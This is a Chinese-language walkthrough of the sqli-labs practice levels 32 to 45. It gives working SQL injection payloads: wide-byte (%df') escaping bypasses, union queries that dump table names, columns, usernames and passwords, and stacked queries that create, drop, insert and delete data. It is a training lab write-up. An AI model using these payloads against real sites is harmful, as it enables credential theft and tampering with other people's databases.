sqli-labs(32-45)

目录

Less-32(宽字节注入)

接下来进入到宽字节注入。
宽字节注入原理:参考 宽字节注入

我们正常输入id=1,返回第一组数据;输入id=1’,同样拿到了数据,并且通过提示发现 ’ 被转义。在了解宽字节注入原理之后,我们输入:

id=1%df'

出现语法报错,说明存在sql漏洞;这时我们将后面的语句注释:
sqli-labs(32-45)
得到第一组数据。

接下来就是正常操作了。

获得字段数及回显位置并查库:

?id=1%df' order by 3 --+
?id=-1%df' union select 1,2, 3 --+
?id=-1%df' union select 1,2, database() --+

查表:
这里注意,因为 ’ 被过滤的缘故,所以库名使用hex编码,避免使用’

?id=-1%df' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 

查字段:

?id=-1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 --+  

获得数据:

?id=-1%df%27 union select 1,group_concat(username),group_concat(password) from security.users  --+

Less-33

这一关在测试的时候,发现跟32关一样,查看一下源码:
sqli-labs(32-45)

发现使用了addslasher()函数。
会在预定义的字符之前添加反斜杠(\):
预定义字符:

单引号 ’
双引号 "
反斜杠 \

接下来跟上一关一样了。

Less-34

这一关使用的函数也是addslasher(),但是是post请求。
看看源码:
sqli-labs(32-45)
username和password都进行了函数处理。

这里使用burpsuite抓包进行测试(破解版的hackbar貌似post有问题)

sqli-labs(32-45)
这里需要注意的是,在使用抓包发送请求时,会将 % 进行url编码处理,所以要修改经过url编码的参数。
sqli-labs(32-45)
但是,不知道为什么结果有问题。
使用uname=admin%df' union select 1,2# &passwd=aaa&submit=Submit却返回正常。eeeee… … … …

Less-35

这一关属于数字型注入,需要注意的是查库和字段时,不能使用 ’ (单引号),使用hex编码。

Less-36

使用了mysql_real_escape_string()函数:
sqli-labs(32-45)
所以做法与之前类似。

Less-37

与34关不同的只是使用了不同函数进行处理。

Less-38(堆叠注入)

原理:;(分号)用来表示一条sql语句的结束,随后可以继续构造下一条语句。
我们可以构造:

?id=-1' ; create table test like users;--+

创建一个 test 表:
sqli-labs(32-45)
然后:删除

?id=-1' ; drop table test ;--+

sqli-labs(32-45)

Less-39

这一关为整型。
我们试着插入新的用户名,密码:

?id=-1;insert into users(id,username,password) values(999,'Less999','Less999')--+

sqli-labs(32-45)

Less-40

闭合方式为 ')
我们将上一关插入的数据删除:

?id=-1;delete from users where id=999--+

Less-41

闭合方式为整形闭合

Less-42

POST
查看源码:
sqli-labs(32-45)
username进行了处理,password没有任何处理。
可以在password处进行堆叠注入。

Less-43

闭合方式为单引号括号’)。

Less-44

密码处单引号闭合。

Less-45

密码单引号括号’)闭合。

上一篇:私有网络解决方案Start9 Labs完成120万美元融资,以推动其硬件Embassy后续发展


下一篇:upload-labs Pass-16(二次渲染)